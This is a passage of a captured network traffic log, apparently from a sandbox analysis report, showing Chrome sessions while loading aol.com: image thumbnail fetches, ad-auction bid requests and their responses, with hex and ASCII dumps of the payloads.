f3 1b 2e e1 b4 5c 29 1b c6 ca 02 b8 96 e7 a4 71 02 22 63 54 01 1f 64 Data Ascii: }.Yvc!_K4Z#:bz-7imM{XY j<~cVCa6ZV5Vi~7g5oy}ca]{>+l*"]qUw[Fm7v;`` $0iyC4&fY%ASV?nomdHJ]N.\)q"cTd
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: 32 31 39 b8 d2 92 18 39 2e b0 f8 5a 69 1e 1c 23 79 7d aa d0 9b d1 44 da 28 dd 91 49 3e 9a 3c 43 25 7a 48 4f 1d 7a 9c de 4f 9b d4 e4 e2 f6 6e 65 24 db 28 49 67 6e e8 62 8e 2e 4e 6d ed b9 e4 0b d2 2f 10 1a 6d af ba ef 70 db 16 e8 4b 96 b1 70 9d ab a1 eb 20 29 90 21 92 a1 44 0c 51 fc 0c 2a da c9 da 2d b6 59 5f ba 20 80 75 01 53 4a 6c 67 57 fd 71 6b 75 7f d3 f5 f1 b7 58 5a bc d7 67 79 6c eb e6 b9 25 20 66 b5 cd ba 92 95 b4 39 8a 16 15 ee a9 b1 44 b6 f2 bb cc 5b 59 a5 ed 75 8d e2 5b 3a 77 0d 37 1a da a9 59 89 ae e2 e2 5b 70 40 e5 b9 82 d5 b5 dc 1a 69 d1 f3 98 da ee 6e 4e 5a f7 5a a8 da c2 e9 92 22 01 22 22 c5 95 ca 9a 63 6b 6c 04 db c4 c4 c4 01 aa 58 9b 66 b1 95 7f a4 0b 8f 17 fc 0c 6d 88 b6 69 2e d1 57 31 6d 74 03 31 4b 18 eb 7b ab cd 33 ed 7d d9 76 d6 ec ff Data Ascii: 2199.Zi#y}D(I><C%zHOzOne$(Ignb.Nm/mpKp )!DQ*-Y_ uSJlgWqkuXZgyl% f9D[Yu[:w7Y[p@inNZZ"""cklXfmi.W1mt1K{3}v
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: 0b 1d d2 de 60 97 11 14 83 26 22 41 8a f2 2a ce 8c 6d fb 75 ca c7 c4 5c b0 98 f3 ed 50 35 50 ba fa d4 b2 9c 5d 2b 3b 70 b8 49 7d dc 50 04 07 19 4d 24 b7 4f 55 9c 38 7d cc 8a 25 36 e1 cd 2b 91 93 11 ab aa 42 b1 eb 9f 06 36 e3 d3 5d 0e 51 b0 c5 63 20 b3 90 a6 89 d2 2e af 5f 17 8c f0 c1 6d 10 f0 89 05 44 88 cf 10 76 7d 25 3d 6c 31 fb 5a ed 8a dd 62 35 c4 05 37 0b e9 f7 e4 bb 55 7c 2c 6e 0e 7a 45 f3 6e b1 60 09 fe 98 ac be 35 3c 58 da 5e 48 0b 7f 14 4c 17 02 a2 81 9a 26 7f a3 e1 51 8d cc 3c 22 ad a7 6f 9c d2 c5 8d 25 34 c9 45 2d f4 95 d1 81 dc 0d 0b 9b 5b 95 a0 16 bc b8 60 da 54 b3 a3 b3 a6 03 8b 6b 5a 22 6e 4c d8 6c 66 5c 54 89 48 2c 6a f2 7d c5 9f d0 2b f7 07 f3 97 77 a3 39 3a 9d 3b 7f d3 aa ce 05 cc 7d 1f 7b fc 3c 5b ed ab 2a 25 e5 35 b7 2a a9 11 89 36 32 Data Ascii: `&"Amu\P5P]+;pI}PM$OU8}%6+B6]Qc ._mDv}%=l1Zb57U\|,nzEn`5<X^HL&Q<"o%4E-[`TkZ"nLlf\TH,j}+w9:;}{<[%5*62
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: f2 2c 51 0b 94 73 1c 35 f1 87 30 3c e0 62 ff 00 c7 dd 2e 5f 79 66 db 04 92 55 22 09 5b 87 26 b2 86 39 ac 73 0d 94 19 73 97 dd 2d 7f 3b 8b 17 ea 65 e0 a4 a6 9c ba d5 2e 51 ef e7 c1 d6 ab 16 b7 56 8d 04 dc 5a c9 c4 6a 84 b0 08 18 34 98 48 83 12 43 c4 2b 3a aa c6 ed 61 ad 4f e2 d0 f8 d4 a7 3d 3d 75 45 bf 52 be 6e 9e 55 f5 97 82 bb b1 6a 44 dc b0 5b c2 e1 52 c1 99 54 14 29 cb a1 89 30 3a 4e 86 71 71 f2 fa 98 6e dd 75 d2 bb 85 4a 5b 2b 8a 3a d1 49 12 ba fa 7e 52 f0 c5 5d 3a dc d6 4a 25 c1 a9 12 b6 49 17 0c 34 cb 5c c3 ab d7 58 2f 8f e6 f1 b4 73 bf f8 82 ab ab de 7d dd d6 1e 57 2b bf d5 f3 9e 46 1b 70 bb 80 93 3b ff 00 c4 05 4e 5d 6a 9f bb 2f 6e d0 72 e1 81 ab 4e 9f 88 53 7c db b4 f9 7c bc 38 19 72 32 cb 8d c6 df 72 32 05 52 30 56 fe 12 65 0b 5e a1 70 33 c0 75 Data Ascii: ,Qs50<b._yfU"[&9ss-;e.QVZj4HC+:aO==uERnUjD[RT)0:NqqnuJ[+:I~R]:J%I4\X/s}W+Fp;N]j/nrNS\|\|8r2r2R0Ve^p3u
2024-05-23 22:34:51 UTC	990	IN	Data Raw: ca 50 08 59 99 18 a6 e1 e8 54 82 55 0c 67 70 90 26 b3 a9 88 be 37 50 82 64 27 32 03 82 86 4c e9 e8 1a 64 75 81 da 9c 1a 44 ba eb c5 c0 6d e0 67 79 6d 2b ae d9 cb 62 8e 05 85 90 b7 4d a2 b3 25 90 43 68 60 f0 56 a3 f4 6c c5 d6 d8 b0 74 3a d0 f4 cc e5 2d 85 e7 40 3b d6 25 5e 1c 38 58 34 54 de 6f 5d 7f cb 55 f4 03 fb ed fe 51 67 f4 0a fd c1 fe 5b 76 44 ba 99 b7 94 46 cc 02 41 15 ad 4e 3b f0 1c ea a5 7e 21 64 8d bd 9a da 5e af fb 78 db 92 4a 74 a0 96 e6 ee 2b b2 30 16 78 c7 10 5c f4 b9 cc 4f dd f5 19 79 c6 96 77 9a 5e 6f 1b 58 bd 59 4d ad d5 fb 5b 99 c1 c8 8b d9 74 76 e5 5e 75 30 98 0f 5f c3 f4 98 dd 5e b4 d7 27 b9 d8 df 5b 84 10 c4 b5 76 a3 b7 cb c4 33 2e 06 55 68 f5 af 5b 4f 8f e0 71 e1 d6 de 1c d3 08 5a cc cd 92 39 d6 dd 4e 45 21 27 c6 b5 ac 18 7c 7e 79 78 Data Ascii: PYTUgp&7Pd'2LduDmgym+bM%Ch`Vlt:-@;%^8X4To]UQg[vDFAN;~!d^xJt+0x\Oyw^oXYM[tv^u0_^'[v3.Uh[OqZ9NE!'\|~yx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.6	49911	34.95.69.49	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:51 UTC	336	OUT	GET /1a HTTP/1.1 Host: i.clean.gg Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:51 UTC	230	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Thu, 23 May 2024 22:34:51 GMT Content-Type: application/octet-stream Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.6	49909	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:51 UTC	697	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FXHFwznD4f5UxmqWl6KykpQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fwhitesox_wbg.png&client=76f99bdb8f78cd44cc0b&signature=86515300c6be95bc1e98a2bf808cddea0b19a784 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:52 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500370 Cache-Control: public, max-age=2592000 Cache-Tag: 278951509263632333371855113311772957419,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21981-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:52 GMT Edge-Cache-Tag: 278951509263632333371855113311772957419,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "4b09cfd000b1a22a1d9431f33281bb8f" Expiration: expiry-date="Wed, 14 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 15 Feb 2024 22:24:04 GMT Server: ECAcc (lhd/35EF) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2029,owidth=50,oheight=50,obytes=2563,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000073-IAD X-Timer: S1711411322.471501,VS0,VE1 Content-Length: 2029 Connection: close
2024-05-23 22:34:52 UTC	2029	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff f2 f4 f5 ff ff ff ff ff ff ef f2 f4 ff ff ff ff ff ff f7 f9 fa f8 f9 fa ff ff ff f7 f9 fa ff ff ff f9 fa fb ff ff ff ff ff ff fd fd fe ff ff ff fe fe fe fc fc fc ee f1 f3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fa fb fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f6 f7 f8 fd fe fe ff ff ff ff ff ff fc fd fd fc fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f7 f9 fa fe fe fe fe ff ff ff ff ff ff ff ff f6 f7 f8 ff ff ff f7 f9 f9 ff ff ff f2 f4 f6 fd fd fe 01 01 01 ff ff ff ff ff ff fd fe fe ff ff ff ff ff ff ff ff ff 00 00 00 ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.6	49908	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:51 UTC	697	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FCxYOsaj1HyPgJWfNqhuFcw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fbluejays_wbg.png&client=76f99bdb8f78cd44cc0b&signature=7415fbceb2d3013c9826cc01a7c86cbbca97a6ab HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:52 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500382 Cache-Control: public, max-age=2592000 Cache-Tag: 256743150668657020218228501920213432638,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100030-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 5 Content-Type: image/png Date: Thu, 23 May 2024 22:34:52 GMT Edge-Cache-Tag: 256743150668657020218228501920213432638,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "66e132160005d5d525027f687d276e02" Expiration: expiry-date="Wed, 14 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 15 Feb 2024 22:23:11 GMT Server: ECAcc (lhd/35D9) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1743,owidth=50,oheight=50,obytes=1994,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kjyo7100130-IAD X-Timer: S1711411311.804796,VS0,VE2 Content-Length: 1743 Connection: close
2024-05-23 22:34:52 UTC	1743	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 fd 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fd fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f9 fa fc ff ff ff ff ff ff ff ff ff f7 9d 98 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc d9 d8 fb d1 cf ff ff ff fd e9 e8 fc db d9 fe f0 ef f9 af ab fa c6 c3 fd e0 de ff ff ff ff ff ff ff ff ff fe f4 f3 fa c3 c0 fc Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.6	49910	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:51 UTC	702	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fht6qg4wc_Ijk8ewC5ANZqw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fbraves_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=7194e9a47aee36fa884fbecaefb81f1077067a9a HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:52 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 1934360 Cache-Control: public, max-age=2592000 Cache-Tag: 188256651091467825130697138416216745234,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100037-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:52 GMT Edge-Cache-Tag: 188256651091467825130697138416216745234,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "ee2bb39df9b03d451e8eecc3a0a0cdcf" Expiration: expiry-date="Tue, 10 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 13 Mar 2024 18:59:12 GMT Server: ECAcc (lhd/35D9) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2080,owidth=50,oheight=50,obytes=2606,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kjyo7100031-IAD X-Timer: S1711372532.041343,VS0,VE1 Content-Length: 2080 Connection: close
2024-05-23 22:34:52 UTC	2080	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff f7 f8 fa ff ff ff ff ff ff fb fc fc fb fc fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f1 f2 f4 ff ff ff ed ee f2 fc fc fd ff ff ff ff ff ff ea ec ef ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe fe 99 a9 bb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f9 f9 fa ff ff ff ff ff ff fd fd fe ec ee f1 ff ff ff ff ff ff ff ff ff ef f0 f3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f5 f6 f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 1e Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.6	49920	104.18.36.155	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	611	OUT	POST /openrtb/pbjs?s=1057757 HTTP/1.1 Host: htlb.casalemedia.com Connection: keep-alive Content-Length: 1619 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:52 UTC	1619	OUT	Data Raw: 7b 22 69 64 22 3a 22 31 36 34 61 31 32 32 33 62 37 64 34 31 65 39 22 2c 22 73 69 74 65 22 3a 7b 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6f 6c 2e 63 6f 6d 2f 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 61 6f 6c 2e 63 6f 6d 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 61 6f 6c 2e 63 6f 6d 22 7d 7d 2c 22 65 78 74 22 3a 7b 22 73 6f 75 72 63 65 22 3a 22 70 72 65 62 69 64 22 2c 22 69 78 64 69 61 67 22 3a 7b 22 6c 73 22 3a 66 61 6c 73 65 2c 22 6d 66 75 22 3a 30 2c 22 62 75 22 3a 34 2c 22 69 75 22 3a 30 2c 22 6e 75 22 3a 30 2c 22 6f 75 22 3a 30 2c 22 61 6c 6c 75 22 3a 34 2c 22 72 65 6e 22 3a 66 61 6c 73 65 2c 22 76 65 72 73 69 6f 6e 22 3a 22 38 2e 33 37 2e 30 22 2c 22 75 73 65 72 49 64 73 22 3a 5b 5d 2c 22 75 72 6c 22 Data Ascii: {"id":"164a1223b7d41e9","site":{"page":"https://www.aol.com/","domain":"aol.com","publisher":{"domain":"aol.com"}},"ext":{"source":"prebid","ixdiag":{"ls":false,"mfu":0,"bu":4,"iu":0,"nu":0,"ou":0,"allu":4,"ren":false,"version":"8.37.0","userIds":[],"url"
2024-05-23 22:34:52 UTC	881	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:52 GMT Content-Type: application/json Content-Length: 37 Connection: close CF-Ray: 8888840c7edc728a-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: https://www.aol.com Cache-Control: no-cache Expires: 0 Set-Cookie: receive-cookie-deprecation=1; Path=/; Domain=casalemedia.com; Expires=Fri, 23 May 2025 22:34:52 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None; Partitioned Access-Control-Allow-Credentials: true Pragma: no-cache Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lmhFLS3EcEbLCb8w4MiyhbUMh6%2FnipvbIo6X8WN8gHWJsqxwMyN3xbwx0qu076C5vY0wJmuzHUYVirpz8759tfgu6Z9NY0EWOuXPfH7zeLzdfpbJjelmFyzABq7diKWYCOttrSPa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-05-23 22:34:52 UTC	37	IN	Data Raw: 7b 22 69 64 22 3a 22 31 36 34 61 31 32 32 33 62 37 64 34 31 65 39 22 2c 22 73 65 61 74 62 69 64 22 3a 5b 5d 7d Data Ascii: {"id":"164a1223b7d41e9","seatbid":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.6	49928	151.101.1.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	638	OUT	POST /OpenRTB/TaboolaHB/auction?publisher=1635762 HTTP/1.1 Host: display.bidder.taboola.com Connection: keep-alive Content-Length: 1533 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:52 UTC	1533	OUT	Data Raw: 7b 22 69 6d 70 22 3a 5b 7b 22 65 78 74 22 3a 7b 22 70 72 65 62 69 64 22 3a 7b 22 70 61 73 73 74 68 72 6f 75 67 68 22 3a 6e 75 6c 6c 2c 22 73 74 6f 72 65 64 72 65 71 75 65 73 74 22 3a 7b 22 69 64 22 3a 22 75 73 5f 61 6f 6c 5f 68 70 5f 64 74 5f 61 73 5f 74 6f 70 5f 72 69 67 68 74 5f 63 22 7d 7d 2c 22 64 61 74 61 22 3a 7b 7d 7d 2c 22 69 64 22 3a 22 34 32 38 37 30 65 31 35 33 64 33 63 63 61 39 22 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 5d 7d 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 31 2e 34 31 2c 22 62 69 64 66 6c 6f 6f 72 63 75 72 22 3a 22 55 53 44 22 2c 22 74 61 67 69 64 22 3a 22 41 4f 4c 20 2d 20 48 6f 6d 65 70 61 67 65 20 2d 20 44 65 73 6b 74 6f 70 20 2d 20 54 6f 70 5f 52 69 67 68 74 5f Data Ascii: {"imp":[{"ext":{"prebid":{"passthrough":null,"storedrequest":{"id":"us_aol_hp_dt_as_top_right_c"}},"data":{}},"id":"42870e153d3cca9","banner":{"format":[{"w":300,"h":600}]},"bidfloor":1.41,"bidfloorcur":"USD","tagid":"AOL - Homepage - Desktop - Top_Right_
2024-05-23 22:34:52 UTC	374	IN	HTTP/1.1 204 No Content Connection: close Server: nginx Content-Type: application/json;charset=utf-8 x-envoy-upstream-service-time: 181 Access-Control-Allow-Origin: https://www.aol.com Accept-Ranges: bytes Date: Thu, 23 May 2024 22:34:52 GMT Via: 1.1 varnish X-Served-By: cache-ewr18143-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503692.233346,VS0,VE184

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.6	49918	34.120.63.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	609	OUT	POST /rtb/prebid?cid=8CUBQTSIL HTTP/1.1 Host: prebid.media.net Connection: keep-alive Content-Length: 2913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:52 UTC	2913	OUT	Data Raw: 7b 22 73 69 74 65 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 61 6f 6c 2e 63 6f 6d 22 2c 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6f 6c 2e 63 6f 6d 2f 22 2c 22 72 65 66 22 3a 22 22 2c 22 74 6f 70 4d 6f 73 74 4c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6f 6c 2e 63 6f 6d 2f 22 2c 22 69 73 54 6f 70 22 3a 74 72 75 65 2c 22 63 61 6e 6f 6e 69 63 61 6c 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6f 6c 2e 63 6f 6d 2f 22 7d 2c 22 65 78 74 22 3a 7b 22 63 75 73 74 6f 6d 65 72 5f 69 64 22 3a 22 38 43 55 42 51 54 53 49 4c 22 2c 22 70 72 65 62 69 64 5f 76 65 72 73 69 6f 6e 22 3a 22 76 38 2e 33 37 2e 30 22 2c 22 67 64 70 72 5f 61 70 70 6c 69 65 73 22 3a 66 61 6c 73 65 2c 22 75 73 70 5f 61 70 70 6c Data Ascii: {"site":{"domain":"www.aol.com","page":"https://www.aol.com/","ref":"","topMostLocation":"https://www.aol.com/","isTop":true,"canonical_url":"https://www.aol.com/"},"ext":{"customer_id":"8CUBQTSIL","prebid_version":"v8.37.0","gdpr_applies":false,"usp_appl
2024-05-23 22:34:52 UTC	774	IN	HTTP/1.1 200 OK cache-control: max-age=0, no-cache, no-store, must-revalidate pragma: no-cache expires: Thu, 23 May 2024 22:34:52 GMT accept-ch: Sec-CH-UA-Mobile,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Model set-cookie: receive-cookie-deprecation=1; Secure; HttpOnly; Path=/; SameSite=None; Partitioned; Max-Age=15552000 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.aol.com content-type: application/json;charset=utf-8 date: Thu, 23 May 2024 22:34:52 GMT x-envoy-upstream-service-time: 296 vary: Accept-Encoding server: envoy transfer-encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:34:52 UTC	616	IN	Data Raw: 35 37 66 0d 0a 7b 22 69 64 22 3a 22 62 35 38 63 39 36 64 37 38 34 33 30 62 63 39 65 62 30 33 64 64 35 64 65 37 35 65 39 36 66 35 38 22 2c 22 62 69 64 4c 69 73 74 22 3a 5b 5d 2c 22 65 78 74 22 3a 7b 22 63 73 55 72 6c 22 3a 5b 7b 22 74 79 70 65 22 3a 22 69 6d 61 67 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 73 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 2e 70 68 70 3f 63 73 3d 38 22 7d 2c 7b 22 74 79 70 65 22 3a 22 69 6d 61 67 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 78 2e 62 69 64 73 77 69 74 63 68 2e 6e 65 74 2f 73 79 6e 63 3f 73 73 70 3d 6d 65 64 69 61 6e 65 74 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 64 70 72 5f 70 64 3d 31 22 7d 2c 7b 22 74 79 70 65 22 3a 22 69 6d 61 67 65 22 2c 22 75 72 6c Data Ascii: 